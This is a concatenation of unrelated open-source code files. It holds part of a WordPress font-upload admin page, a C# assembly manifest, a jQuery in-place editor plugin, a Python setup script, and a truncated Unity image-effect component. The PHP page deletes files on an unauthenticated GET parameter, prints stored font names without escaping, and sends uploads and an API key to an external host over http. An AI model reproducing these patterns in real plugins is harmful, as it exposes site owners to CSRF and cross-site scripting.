$fontsData[date('ymdhis')] = array('font_name' => $_POST['font_name'], 'font_path' => $fontNameToStoreWithUrl);
$updateFontData = json_encode($fontsData);
update_option('uaf_font_data',$updateFontData);
uaf_write_css();
endif;
}
if (isset($_GET['delete_font_key'])):
$fontsRawData = get_option('uaf_font_data');
$fontsData = json_decode($fontsRawData, true);
$key_to_delete = $_GET['delete_font_key'];
@unlink(realpath($uaf_upload_dir.$fontsData[$key_to_delete]['font_path'].'.woff'));
@unlink(realpath($uaf_upload_dir.$fontsData[$key_to_delete]['font_path'].'.eot'));
unset($fontsData[$key_to_delete]);
$updateFontData = json_encode($fontsData);
update_option('uaf_font_data',$updateFontData);
$fontUploadFinalStatus = 'updated';
$fontUploadFinalMsg = 'Font Deleted';
uaf_write_css();
endif;
?>
<table class="wp-list-table widefat fixed bookmarks">
<thead>
<tr>
<th>Upload Fonts</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<?php if (!empty($fontUploadFinalMsg)):?>
<div class="<?php echo $fontUploadFinalStatus; ?>" id="message"><p><?php echo $fontUploadFinalMsg ?></p></div>
<?php endif; ?>
<?php
$fontsRawData = get_option('uaf_font_data');
$fontsData = json_decode($fontsRawData, true);
?>
<p align="right"><input type="button" name="open_add_font" onClick="open_add_font();" class="button-primary" value="Add Fonts" /><br/></p>
<div id="font-upload" style="display:none;">
<form action="admin.php?page=uaf_settings_page" id="open_add_font_form" method="post" enctype="multipart/form-data">
<table class="uaf_form">
<tr>
<td width="175">Font Name</td>
<td><input type="text" name="font_name" value="" maxlength="40" class="required" style="width:200px;" /></td>
</tr>
<tr>
<td>Font File</td>
<td><input type="file" id="fontfile" name="fontfile" value="" class="required" /><br/>
<?php
?>
<em>Accepted Font Format : <?php echo join(", ",$allowedFontFormats); ?> | Font Size: Upto 10 MB</em><br/>
</td>
</tr>
<tr>
<td>
</td>
<td>
<input type="hidden" name="api_key" value="<?php echo $uaf_api_key; ?>" />
<input type="hidden" name="convert_response" id="convert_response" value="" />
<input type="submit" name="submit-uaf-font" id="submit-uaf-font" class="button-primary" value="Upload" />
<div id="font_upload_message" class=""></div>
<p>By clicking on Upload, you confirm that you have rights to use this font.</p>
</td>
</tr>
</table>
</form>
<br/><br/>
</div>
<table cellspacing="0" class="wp-list-table widefat fixed bookmarks">
<thead>
<tr>
<th width="20">Sn</th>
<th>Font</th>
<th width="100">Delete</th>
</tr>
</thead>
<tbody>
<?php if (!empty($fontsData)): ?>
<?php
$sn = 0;
foreach ($fontsData as $key=>$fontData):
$sn++
?>
<tr>
<td><?php echo $sn; ?></td>
<td><?php echo $fontData['font_name'] ?></td>
<td><a onclick="if (!confirm('Are you sure ?')){return false;}" href="admin.php?page=uaf_settings_page&delete_font_key=<?php echo $key; ?>">Delete</a></td>
</tr>
<?php endforeach; ?>
<?php else: ?>
<tr>
<td colspan="3">No font found. Please click on Add Fonts to add font</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<script>
function open_add_font(){
jQuery('#font-upload').toggle('fast');
jQuery("#open_add_font_form").validate();
jQuery( "#fontfile" ).rules( "add", {extension: 'ttf|otf', messages: {extension : 'Only ttf,otf font format accepted.' }});
}
</script>
<br/>
</td>
</tr>
</tbody>
</table>
<br/>
<script>
jQuery('#open_add_font_form')
.submit(function(e){
var $formValid = jQuery(this);
if(! $formValid.valid()) return false;
jQuery.ajax( {
url: 'http://dnesscarkey.com/font-convertor/convertor/convert_direct.php',
type: 'POST',
data: new FormData( this ),
processData: false,
contentType: false,
async: false,
beforeSend : function(){
jQuery('#submit-uaf-font').attr('disabled',true);
jQuery('#font_upload_message').attr('class','ok');
jQuery('#font_upload_message').html('Uploading Font. It might take few mins based on your font file size.');
},
success: function(data, textStatus, jqXHR)
{
var dataReturn = JSON.parse(data);
status = dataReturn.global.status;
msg = dataReturn.global.msg;
if (status == 'error'){
jQuery('#font_upload_message').attr('class',status);
jQuery('#font_upload_message').html(msg);
} else {
woffStatus = dataReturn.woff.status;
eotStatus = dataReturn.eot.status;
if (woffStatus == 'ok' && eotStatus == 'ok'){
woffFilePath = dataReturn.woff.filename;
eotFilePath = dataReturn.eot.filename;
jQuery('#convert_response').val(data);
jQuery('#font_upload_message').attr('class','ok');
jQuery('#font_upload_message').html('Font Conversion Complete. Finalizing...');
jQuery('#submit-uaf-font').attr('disabled',false);
jQuery('#fontfile').remove();
} else {
jQuery('#font_upload_message').attr('class','error');
jQuery('#font_upload_message').html('Problem converting font to woff/eot.');
e.preventDefault();
}
}
},
error: function(jqXHR, textStatus, errorThrown)
{
jQuery('#font_upload_message').attr('class','error');
jQuery('#font_upload_message').html('Unexpected Error Occured.');
jQuery('#submit-uaf-font').attr('disabled',false);
e.preventDefault();
}
});
// e.preventDefault();
});
</script> | mit |
CedricDumont/CExtensions-Patch | src/CExtensions.Patch/Properties/AssemblyInfo.cs | 1436 | using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("CExtensions.Patch")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Licence Owner")]
[assembly: AssemblyProduct("CExtensions.Patch")]
[assembly: AssemblyCopyright("Copyright © Licence Owner 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("5fc113fa-27d9-4f42-ba42-6bc15e35d15d")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| mit |
vhochstein/active_scaffold | app/assets/javascripts/jquery/jquery.editinplace.js | 28678 | /*
A jQuery edit in place plugin
Version 2.3.0
Authors:
Dave Hauenstein
Martin Häcker <spamfaenger [at] gmx [dot] de>
Project home:
http://code.google.com/p/jquery-in-place-editor/
Patches with tests welcomed! For guidance see the tests </spec/unit/>. To submit, attach them to the bug tracker.
License:
This source file is subject to the BSD license bundled with this package.
Available online: {@link http://www.opensource.org/licenses/bsd-license.php}
If you did not receive a copy of the license, and are unable to obtain it,
learn to use a search engine.
*/
(function($){
$.fn.editInPlace = function(options) {
var settings = $.extend({}, $.fn.editInPlace.defaults, options);
assertMandatorySettingsArePresent(settings);
preloadImage(settings.saving_image);
return this.each(function() {
var dom = $(this);
// This won't work with live queries as there is no specific element to attach this
// one way to deal with this could be to store a reference to self and then compare that in click?
if (dom.data('editInPlace'))
return; // already an editor here
dom.data('editInPlace', true);
new InlineEditor(settings, dom).init();
});
};
/// Switch these through the dictionary argument to $(aSelector).editInPlace(overideOptions)
/// Required Options: Either url or callback, so the editor knows what to do with the edited values.
$.fn.editInPlace.defaults = {
url: "", // string: POST URL to send edited content
ajax_data_type: "html", // string: dataType (html|script) for ajax call to save updated value
bg_over: "#ffc", // string: background color of hover of unactivated editor
bg_out: "transparent", // string: background color on restore from hover
hover_class: "", // string: class added to root element during hover. Will override bg_over and bg_out
show_buttons: false, // boolean: will show the buttons: cancel or save; will automatically cancel out the onBlur functionality
save_button: '<button class="inplace_save">Save</button>', // string: image button tag to use as “Save” button
cancel_button: '<button class="inplace_cancel">Cancel</button>', // string: image button tag to use as “Cancel” button
params: "", // string: example: first_name=dave&last_name=hauenstein extra paramters sent via the post request to the server
field_type: "text", // string: "text", "textarea", or "select", or "remote", or "clone"; The type of form field that will appear on instantiation
default_text: "(Click here to add text)", // string: text to show up if the element that has this functionality is empty
use_html: false, // boolean, set to true if the editor should use jQuery.fn.html() to extract the value to show from the dom node
textarea_rows: 10, // integer: set rows attribute of textarea, if field_type is set to textarea. Use CSS if possible though
textarea_cols: 25, // integer: set cols attribute of textarea, if field_type is set to textarea. Use CSS if possible though
select_text: "Choose new value", // string: default text to show up in select box
select_options: "", // string or array: Used if field_type is set to 'select'. Can be comma delimited list of options 'textandValue,text:value', Array of options ['textAndValue', 'text:value'] or array of arrays ['textAndValue', ['text', 'value']]. The last form is especially usefull if your labels or values contain colons)
text_size: null, // integer: set cols attribute of text input, if field_type is set to text. Use CSS if possible though
editor_url: null, // for field_type: remote url to get html_code for edit_control
loading_text: 'Loading...', // shown if inplace editor is loaded from server
// Specifying callback_skip_dom_reset will disable all saving_* options
saving_text: undefined, // string: text to be used when server is saving information. Example "Saving..."
saving_image: "", // string: uses saving text specify an image location instead of text while server is saving
saving_animation_color: 'transparent', // hex color string, will be the color the pulsing animation during the save pulses to. Note: Only works if jquery-ui is loaded
clone_selector: null, // if field_type clone a selector to clone editor from
clone_id_suffix: null, // if field_type clone a suffix to create unique ids
value_required: false, // boolean: if set to true, the element will not be saved unless a value is entered
element_id: "element_id", // string: name of parameter holding the id or the editable
update_value: "update_value", // string: name of parameter holding the updated/edited value
original_value: 'original_value', // string: name of parameter holding the updated/edited value
original_html: "original_html", // string: name of parameter holding original_html value of the editable /* DEPRECATED in 2.2.0 */ use original_value instead.
save_if_nothing_changed: false, // boolean: submit to function or server even if the user did not change anything
on_blur: "save", // string: "save" or null; what to do on blur; will be overridden if show_buttons is true
cancel: "", // string: if not empty, a jquery selector for elements that will not cause the editor to open even though they are clicked. E.g. if you have extra buttons inside editable fields
// All callbacks will have this set to the DOM node of the editor that triggered the callback
callback: null, // function: function to be called when editing is complete; cancels ajax submission to the url param. Prototype: function(idOfEditor, enteredText, orinalHTMLContent, settingsParams, callbacks). The function needs to return the value that should be shown in the dom. Returning undefined means cancel and will restore the dom and trigger an error. callbacks is a dictionary with two functions didStartSaving and didEndSaving() that you can use to tell the inline editor that it should start and stop any saving animations it has configured. /* DEPRECATED in 2.1.0 */ Parameter idOfEditor, use $(this).attr('id') instead
callback_skip_dom_reset: false, // boolean: set this to true if the callback should handle replacing the editor with the new value to show
success: null, // function: this function gets called if server responds with a success. Prototype: function(newEditorContentString)
error: null, // function: this function gets called if server responds with an error. Prototype: function(request)
error_sink: function(idOfEditor, errorString) { alert(errorString); }, // function: gets id of the editor and the error. Make sure the editor has an id, or it will just be undefined. If set to null, no error will be reported. /* DEPRECATED in 2.1.0 */ Parameter idOfEditor, use $(this).attr('id') instead
preinit: null, // function: this function gets called after a click on an editable element but before the editor opens. If you return false, the inline editor will not open. Prototype: function(currentDomNode). DEPRECATED in 2.2.0 use delegate shouldOpenEditInPlace call instead
postclose: null, // function: this function gets called after the inline editor has closed and all values are updated. Prototype: function(currentDomNode). DEPRECATED in 2.2.0 use delegate didCloseEditInPlace call instead
delegate: null // object: if it has methods with the name of the callbacks documented below in delegateExample these will be called. This means that you just need to impelment the callbacks you are interested in.
};
// Lifecycle events that the delegate can implement
// this will always be fixed to the delegate
var delegateExample = {
// called while opening the editor.
// return false to prevent editor from opening
shouldOpenEditInPlace: function(aDOMNode, aSettingsDict, triggeringEvent) {},
// return content to show in inplace editor
willOpenEditInPlace: function(aDOMNode, aSettingsDict) {},
didOpenEditInPlace: function(aDOMNode, aSettingsDict) {},
// called while closing the editor
// return false to prevent the editor from closing
shouldCloseEditInPlace: function(aDOMNode, aSettingsDict, triggeringEvent) {},
// return value will be shown during saving
willCloseEditInPlace: function(aDOMNode, aSettingsDict) {},
didCloseEditInPlace: function(aDOMNode, aSettingsDict) {},
missingCommaErrorPreventer:''
};
function InlineEditor(settings, dom) {
this.settings = settings;
this.dom = dom;
this.originalValue = null;
this.didInsertDefaultText = false;
this.shouldDelayReinit = false;
};
$.extend(InlineEditor.prototype, {
init: function() {
this.setDefaultTextIfNeccessary();
this.connectOpeningEvents();
},
reinit: function() {
if (this.shouldDelayReinit)
return;
this.triggerCallback(this.settings.postclose, /* DEPRECATED in 2.1.0 */ this.dom);
this.triggerDelegateCall('didCloseEditInPlace');
this.markEditorAsInactive();
this.connectOpeningEvents();
},
setDefaultTextIfNeccessary: function() {
if('' !== this.dom.html())
return;
this.dom.html(this.settings.default_text);
this.didInsertDefaultText = true;
},
connectOpeningEvents: function() {
var that = this;
this.dom
.bind('mouseenter.editInPlace', function(){ that.addHoverEffect(); })
.bind('mouseleave.editInPlace', function(){ that.removeHoverEffect(); })
.bind('click.editInPlace', function(anEvent){ that.openEditor(anEvent); });
},
disconnectOpeningEvents: function() {
// prevent re-opening the editor when it is already open
this.dom.unbind('.editInPlace');
},
addHoverEffect: function() {
if (this.settings.hover_class)
this.dom.addClass(this.settings.hover_class);
else
this.dom.css("background-color", this.settings.bg_over);
},
removeHoverEffect: function() {
if (this.settings.hover_class)
this.dom.removeClass(this.settings.hover_class);
else
this.dom.css("background-color", this.settings.bg_out);
},
openEditor: function(anEvent) {
if ( ! this.shouldOpenEditor(anEvent))
return;
this.disconnectOpeningEvents();
this.removeHoverEffect();
this.removeInsertedDefaultTextIfNeccessary();
this.saveOriginalValue();
this.markEditorAsActive();
this.replaceContentWithEditor();
this.setInitialValue();
this.workAroundMissingBlurBug();
this.connectClosingEventsToEditor();
this.triggerDelegateCall('didOpenEditInPlace');
},
shouldOpenEditor: function(anEvent) {
if (this.isClickedObjectCancelled(anEvent.target))
return false;
if (false === this.triggerCallback(this.settings.preinit, /* DEPRECATED in 2.1.0 */ this.dom))
return false;
if (false === this.triggerDelegateCall('shouldOpenEditInPlace', true, anEvent))
return false;
return true;
},
removeInsertedDefaultTextIfNeccessary: function() {
if ( ! this.didInsertDefaultText
|| this.dom.html() !== this.settings.default_text)
return;
this.dom.html('');
this.didInsertDefaultText = false;
},
isClickedObjectCancelled: function(eventTarget) {
if ( ! this.settings.cancel)
return false;
var eventTargetAndParents = $(eventTarget).parents().andSelf();
var elementsMatchingCancelSelector = eventTargetAndParents.filter(this.settings.cancel);
return 0 !== elementsMatchingCancelSelector.length;
},
saveOriginalValue: function() {
if (this.settings.use_html)
this.originalValue = this.dom.html();
else
this.originalValue = trim(this.dom.text());
},
restoreOriginalValue: function() {
this.setClosedEditorContent(this.originalValue);
},
setClosedEditorContent: function(aValue) {
if (this.settings.use_html)
this.dom.html(aValue);
else
this.dom.text(aValue);
},
workAroundMissingBlurBug: function() {
// Strangely, all browser will forget to send a blur event to an input element
// when another one is created and selected programmatically. (at least under some circumstances).
// This means that if another inline editor is opened, existing inline editors will _not_ close
// if they are configured to submit when blurred.
// Using parents() instead document as base to workaround the fact that in the unittests
// the editor is not a child of window.document but of a document fragment
var ourInput = this.dom.find(':input');
this.dom.parents(':last').find('.editInPlace-active :input').not(ourInput).blur();
},
replaceContentWithEditor: function() {
var buttons_html = (this.settings.show_buttons) ? this.settings.save_button + ' ' + this.settings.cancel_button : '';
var editorElement = this.createEditorElement(); // needs to happen before anything is replaced
/* insert the new in place form after the element they click, then empty out the original element */
this.dom.html('<form class="inplace_form" data-as_load="form" style="display: inline; margin: 0; padding: 0;"></form>')
.find('form')
.append(editorElement)
.append(buttons_html);
},
createEditorElement: function() {
if (-1 === $.inArray(this.settings.field_type, ['text', 'textarea', 'select', 'remote', 'clone']))
throw "Unknown field_type <fnord>, supported are 'text', 'textarea', 'select' and 'remote'";
var editor = null;
if ("select" === this.settings.field_type)
editor = this.createSelectEditor();
else if ("text" === this.settings.field_type)
editor = $('<input type="text" ' + this.inputNameAndClass()
+ ' size="' + this.settings.text_size + '" />');
else if ("textarea" === this.settings.field_type)
editor = $('<textarea ' + this.inputNameAndClass()
+ ' rows="' + this.settings.textarea_rows + '" '
+ ' cols="' + this.settings.textarea_cols + '" />');
else if ("remote" === this.settings.field_type)
editor = this.createRemoteGeneratedEditor();
else if ("clone" === this.settings.field_type) {
editor = this.cloneEditor();
return editor;
}
editor.val(this.triggerDelegateCall('willOpenEditInPlace', this.originalValue));
return editor;
},
setInitialValue: function() {
var initialValue = this.triggerDelegateCall('willOpenEditInPlace', this.originalValue);
var editor = this.dom.find(':input');
editor.val(initialValue);
// Workaround for select fields which don't contain the original value.
// Somehow the browsers don't like to select the instructional choice (disabled) in that case
if (editor.val() !== initialValue)
editor.val(''); // selects instructional choice
},
createRemoteGeneratedEditor: function () {
this.dom.html(this.settings.loading_text);
return $($.ajax({
url: this.settings.editor_url,
async: false
}).responseText);
},
cloneEditor: function() {
var patternNodes = this.getPatternNodes(this.settings.clone_selector);
if (patternNodes.editNode == null) {
alert('did not find any matching node for ' + this.settings.clone_selector);
return;
}
var editorNode = patternNodes.editNode.clone();
var clonedNodes = null;
if (editorNode.attr('id').length > 0) editorNode.attr('id', editorNode.attr('id') + this.settings.clone_id_suffix);
editorNode.attr('name', 'inplace_value');
editorNode.addClass('editor_field');
this.setValue(editorNode, this.originalValue);
clonedNodes = editorNode;
if (patternNodes.additionalNodes) {
patternNodes.additionalNodes.each(function (index, node) {
var patternNode = $(node).clone();
if (patternNode.attr('id').length > 0) {
patternNode.attr('id', patternNode.attr('id') + this.settings.clone_id_suffix);
}
clonedNodes = clonedNodes.after(patternNode);
});
}
return clonedNodes;
},
getPatternNodes: function(clone_selector) {
var nodes = {editNode: null, additionalNodes: null};
var selectedNodes = $(clone_selector);
var firstNode = selectedNodes.first();
if (typeof(firstNode) !== 'undefined') {
// AS inplace_edit_control_container -> we have to select all child nodes
// Workaround for ie which does not support css > selector
if (firstNode.hasClass('as_inplace_pattern')) {
selectedNodes = firstNode.children();
}
nodes.editNode = selectedNodes.first();
// buggy...
//nodes.additionalNodes = selectedNodes.find(':gt(0)');
}
return nodes;
},
setValue: function(editField, textValue) {
var function_name = 'setValueFor' + editField.get(0).nodeName.toLowerCase();
if (typeof(this[function_name]) == 'function') {
this[function_name](editField, textValue);
} else {
editField.val(textValue);
}
},
setValueForselect: function(editField, textValue) {
var option_value = editField.children("option:contains('" + textValue + "')").val();
if (typeof(option_value) !== 'undefined') {
editField.val(option_value);
}
},
inputNameAndClass: function() {
return ' name="inplace_value" class="inplace_field" ';
},
createSelectEditor: function() {
var editor = $('<select' + this.inputNameAndClass() + '>'
+ '<option disabled="true" value="">' + this.settings.select_text + '</option>'
+ '</select>');
var optionsArray = this.settings.select_options;
if ( ! $.isArray(optionsArray))
optionsArray = optionsArray.split(',');
for (var i=0; i<optionsArray.length; i++) {
var currentTextAndValue = optionsArray[i];
if ( ! $.isArray(currentTextAndValue))
currentTextAndValue = currentTextAndValue.split(':');
var value = trim(currentTextAndValue[1] || currentTextAndValue[0]);
var text = trim(currentTextAndValue[0]);
var selected = (value == this.originalValue) ? 'selected="selected" ' : '';
var option = $('<option ' + selected + ' ></option>').val(value).text(text);
editor.append(option);
}
return editor;
},
connectClosingEventsToEditor: function() {
var that = this;
function cancelEditorAction(anEvent) {
that.handleCancelEditor(anEvent);
return false; // stop event bubbling
}
function saveEditorAction(anEvent) {
that.handleSaveEditor(anEvent);
return false; // stop event bubbling
}
var form = this.dom.find("form");
form.find(".inplace_field").focus().select();
form.find(".inplace_cancel").click(cancelEditorAction);
form.find(".inplace_save").click(saveEditorAction);
if ( ! this.settings.show_buttons) {
// TODO: Firefox has a bug where blur is not reliably called when focus is lost
// (for example by another editor appearing)
if ("save" === this.settings.on_blur)
form.find(".inplace_field").blur(saveEditorAction);
else
form.find(".inplace_field").blur(cancelEditorAction);
// workaround for msie & firefox bug where it won't submit on enter if no button is shown
if ($.browser.mozilla || $.browser.msie)
this.bindSubmitOnEnterInInput();
}
form.keyup(function(anEvent) {
// allow canceling with escape
var escape = 27;
if (escape === anEvent.which)
return cancelEditorAction();
});
// workaround for webkit nightlies where they won't submit at all on enter
// REFACT: find a way to just target the nightlies
if ($.browser.safari)
this.bindSubmitOnEnterInInput();
form.submit(saveEditorAction);
},
bindSubmitOnEnterInInput: function() {
if ('textarea' === this.settings.field_type)
return; // can't enter newlines otherwise
var that = this;
this.dom.find(':input').keyup(function(event) {
var enter = 13;
if (enter === event.which)
return that.dom.find('form').submit();
});
},
handleCancelEditor: function(anEvent) {
// REFACT: remove duplication between save and cancel
if (false === this.triggerDelegateCall('shouldCloseEditInPlace', true, anEvent))
return;
var editor = this.dom.find(':input');
var enteredText = editor.val();
enteredText = this.triggerDelegateCall('willCloseEditInPlace', enteredText);
this.restoreOriginalValue();
if (hasContent(enteredText)
&& ! this.isDisabledDefaultSelectChoice() && !editor.is('select'))
this.setClosedEditorContent(enteredText);
this.reinit();
},
handleSaveEditor: function(anEvent) {
if (false === this.triggerDelegateCall('shouldCloseEditInPlace', true, anEvent))
return;
var editor = this.dom.find(':input:not(:button)');
var enteredText = '';
if (editor.length > 1) {
enteredText = jQuery.map(editor.not('input:checkbox:not(:checked)'), function(item, index) {
return $(item).val();
});
} else {
enteredText = editor.val();
}
enteredText = this.triggerDelegateCall('willCloseEditInPlace', enteredText);
if (this.isDisabledDefaultSelectChoice()
|| this.isUnchangedInput(enteredText)) {
this.handleCancelEditor(anEvent);
return;
}
if (this.didForgetRequiredText(enteredText)) {
this.handleCancelEditor(anEvent);
this.reportError("Error: You must enter a value to save this field");
return;
}
this.showSaving(enteredText);
if (this.settings.callback)
this.handleSubmitToCallback(enteredText);
else
this.handleSubmitToServer(enteredText);
},
didForgetRequiredText: function(enteredText) {
return this.settings.value_required
&& ("" === enteredText
|| undefined === enteredText
|| null === enteredText);
},
isDisabledDefaultSelectChoice: function() {
return this.dom.find('option').eq(0).is(':selected:disabled');
},
isUnchangedInput: function(enteredText) {
return ! this.settings.save_if_nothing_changed
&& this.originalValue === enteredText;
},
showSaving: function(enteredText) {
if (this.settings.callback && this.settings.callback_skip_dom_reset)
return;
var savingMessage = enteredText;
if (hasContent(this.settings.saving_text))
savingMessage = this.settings.saving_text;
if(hasContent(this.settings.saving_image))
// REFACT: alt should be the configured saving message
savingMessage = $('<img />').attr('src', this.settings.saving_image).attr('alt', savingMessage);
this.dom.html(savingMessage);
},
handleSubmitToCallback: function(enteredText) {
// REFACT: consider to encode enteredText and originalHTML before giving it to the callback
this.enableOrDisableAnimationCallbacks(true, false);
var newHTML = this.triggerCallback(this.settings.callback, /* DEPRECATED in 2.1.0 */ this.id(), enteredText, this.originalValue,
this.settings.params, this.savingAnimationCallbacks());
if (this.settings.callback_skip_dom_reset)
; // do nothing
else if (undefined === newHTML) {
// failure; put original back
this.reportError("Error: Failed to save value: " + enteredText);
this.restoreOriginalValue();
}
else
// REFACT: use setClosedEditorContent
this.dom.html(newHTML);
if (this.didCallNoCallbacks()) {
this.enableOrDisableAnimationCallbacks(false, false);
this.reinit();
}
},
handleSubmitToServer: function(enteredText) {
var data = '';
if (typeof(enteredText) === 'string') {
data += this.settings.update_value + '=' + encodeURIComponent(enteredText) + '&';
} else {
for(var i = 0;i < enteredText.length; i++) {
data += this.settings.update_value + '[]=' + encodeURIComponent(enteredText[i]) + '&';
}
}
data += this.settings.element_id + '=' + this.dom.attr("id")
+ ((this.settings.params) ? '&' + this.settings.params : '')
+ '&' + this.settings.original_html + '=' + encodeURIComponent(this.originalValue) /* DEPRECATED in 2.2.0 */
+ '&' + this.settings.original_value + '=' + encodeURIComponent(this.originalValue);
this.enableOrDisableAnimationCallbacks(true, false);
this.didStartSaving();
var that = this;
$.ajax({
url: that.settings.url,
type: "POST",
data: data,
dataType: that.settings.ajax_data_type,
complete: function(request){
that.didEndSaving();
},
success: function(data){
if (that.settings.ajax_data_type == 'html') {
var new_text = data || that.settings.default_text;
/* put the newly updated info into the original element */
// FIXME: should be affected by the preferences switch
that.dom.html(new_text);
// REFACT: remove dom parameter, already in this, not documented, should be easy to remove
// REFACT: callback should be able to override what gets put into the DOM
}
that.triggerCallback(that.settings.success,data);
},
error: function(request) {
that.dom.html(that.originalHTML); // REFACT: what about a restorePreEditingContent()
if (that.settings.error)
// REFACT: remove dom parameter, already in this, not documented, can remove without deprecation
// REFACT: callback should be able to override what gets entered into the DOM
that.triggerCallback(that.settings.error, request);
else
that.reportError("Failed to save value: " + request.responseText || 'Unspecified Error');
}
});
},
// Utilities .........................................................
triggerCallback: function(aCallback /*, arguments */) {
if ( ! aCallback)
return; // callback wasn't specified after all
var callbackArguments = Array.prototype.slice.call(arguments, 1);
return aCallback.apply(this.dom[0], callbackArguments);
},
/// defaultReturnValue is only used if the delegate returns undefined
triggerDelegateCall: function(aDelegateMethodName, defaultReturnValue, optionalEvent) {
// REFACT: consider to trigger equivalent callbacks automatically via a mapping table?
if ( ! this.settings.delegate
|| ! $.isFunction(this.settings.delegate[aDelegateMethodName]))
return defaultReturnValue;
var delegateReturnValue = this.settings.delegate[aDelegateMethodName](this.dom, this.settings, optionalEvent);
return (undefined === delegateReturnValue)
? defaultReturnValue
: delegateReturnValue;
},
reportError: function(anErrorString) {
this.triggerCallback(this.settings.error_sink, /* DEPRECATED in 2.1.0 */ this.id(), anErrorString);
},
// REFACT: this method should go, callbacks should get the dom node itself as an argument
id: function() {
return this.dom.attr('id');
},
markEditorAsActive: function() {
this.dom.addClass('editInPlace-active');
},
markEditorAsInactive: function() {
this.dom.removeClass('editInPlace-active');
},
// REFACT: consider rename, doesn't deal with animation directly
savingAnimationCallbacks: function() {
var that = this;
return {
didStartSaving: function() { that.didStartSaving(); },
didEndSaving: function() { that.didEndSaving(); }
};
},
enableOrDisableAnimationCallbacks: function(shouldEnableStart, shouldEnableEnd) {
this.didStartSaving.enabled = shouldEnableStart;
this.didEndSaving.enabled = shouldEnableEnd;
},
didCallNoCallbacks: function() {
return this.didStartSaving.enabled && ! this.didEndSaving.enabled;
},
assertCanCall: function(methodName) {
if ( ! this[methodName].enabled)
throw new Error('Cannot call ' + methodName + ' now. See documentation for details.');
},
didStartSaving: function() {
this.assertCanCall('didStartSaving');
this.shouldDelayReinit = true;
this.enableOrDisableAnimationCallbacks(false, true);
this.startSavingAnimation();
},
didEndSaving: function() {
this.assertCanCall('didEndSaving');
this.shouldDelayReinit = false;
this.enableOrDisableAnimationCallbacks(false, false);
this.reinit();
this.stopSavingAnimation();
},
startSavingAnimation: function() {
var that = this;
this.dom
.animate({ backgroundColor: this.settings.saving_animation_color }, 400)
.animate({ backgroundColor: 'transparent'}, 400, 'swing', function(){
// In the tests animations are turned off - i.e they happen instantaneously.
// Hence we need to prevent this from becomming an unbounded recursion.
setTimeout(function(){ that.startSavingAnimation(); }, 10);
});
},
stopSavingAnimation: function() {
this.dom
.stop(true)
.css({backgroundColor: ''});
},
missingCommaErrorPreventer:''
});
// Private helpers .......................................................
function assertMandatorySettingsArePresent(options) {
// one of these needs to be non falsy
if (options.url || options.callback)
return;
throw new Error("Need to set either url: or callback: option for the inline editor to work.");
}
/* preload the loading icon if it is configured */
function preloadImage(anImageURL) {
if ('' === anImageURL)
return;
var loading_image = new Image();
loading_image.src = anImageURL;
}
function trim(aString) {
return aString
.replace(/^\s+/, '')
.replace(/\s+$/, '');
}
function hasContent(something) {
if (undefined === something || null === something)
return false;
if (0 === something.length)
return false;
return true;
}
})(jQuery);
| mit |
csrgxtu/xiami-downloader | setup.py | 899 | import codecs
from setuptools import setup
# Get the long description from the relevant file
with codecs.open('README.md', encoding='utf-8') as f:
long_description = f.read()
setup(
name='xiami-downloader',
version="0.3.0",
description='Python script for download preview music from xiami.com.',
long_description=long_description,
url='https://github.com/timothyqiu/xiami-downloader',
author='Timothy Qiu',
license='MIT',
classifiers=[
'Development Status :: 4 - Beta',
'Environment :: Console',
'Intended Audience :: End Users/Desktop',
'License :: OSI Approved :: MIT License',
'Operating System :: POSIX',
'Programming Language :: Python :: 2',
],
py_modules=['xiami', 'xiami_dl', 'xiami_util'],
entry_points={
'console_scripts': [
'xiami=xiami:main',
],
},
)
| mit |
esther5576/GEO | CODE/Assets/Plugins/Colorful/Components/CC_Levels.cs | 2201 | using UnityEngine;
[ExecuteInEditMode]
[AddComponentMenu("Colorful/Levels")]
public class CC_Levels : CC_Base
{
#region Retro compatibility
public int mode { get { return isRGB ? 1 : 0; } set { isRGB = value > 0 ? true : false; } }
#endregion
public bool isRGB = false;
public float inputMinL = 0;
public float inputMaxL = 255;
public float inputGammaL = 1;
public float inputMinR = 0;
public float inputMaxR = 255;
public float inputGammaR = 1;
public float inputMinG = 0;
public float inputMaxG = 255;
public float inputGammaG = 1;
public float inputMinB = 0;
public float inputMaxB = 255;
public float inputGammaB = 1;
public float outputMinL = 0;
public float outputMaxL = 255;
public float outputMinR = 0;
public float outputMaxR = 255;
public float outputMinG = 0;
public float outputMaxG = 255;
public float outputMinB = 0;
public float outputMaxB = 255;
public int currentChannel = 0;
public bool logarithmic = false;
void OnRenderImage(RenderTexture source, RenderTexture destination)
{
if (!isRGB)
{
material.SetVector("_InputMin", new Vector4(inputMinL / 255f, inputMinL / 255f, inputMinL / 255f, 1.0f));
material.SetVector("_InputMax", new Vector4(inputMaxL / 255f, inputMaxL / 255f, inputMaxL / 255f, 1.0f));
material.SetVector("_InputGamma", new Vector4(inputGammaL, inputGammaL, inputGammaL, 1.0f));
material.SetVector("_OutputMin", new Vector4(outputMinL / 255f, outputMinL / 255f, outputMinL / 255f, 1.0f));
material.SetVector("_OutputMax", new Vector4(outputMaxL / 255f, outputMaxL / 255f, outputMaxL / 255f, 1.0f));
}
else
{
material.SetVector("_InputMin", new Vector4(inputMinR / 255f, inputMinG / 255f, inputMinB / 255f, 1.0f));
material.SetVector("_InputMax", new Vector4(inputMaxR / 255f, inputMaxG / 255f, inputMaxB / 255f, 1.0f));
material.SetVector("_InputGamma", new Vector4(inputGammaR, inputGammaG, inputGammaB, 1.0f));
material.SetVector("_OutputMin", new Vector4(outputMinR / 255f, outputMinG / 255f, outputMinB / 255f, 1.0f));
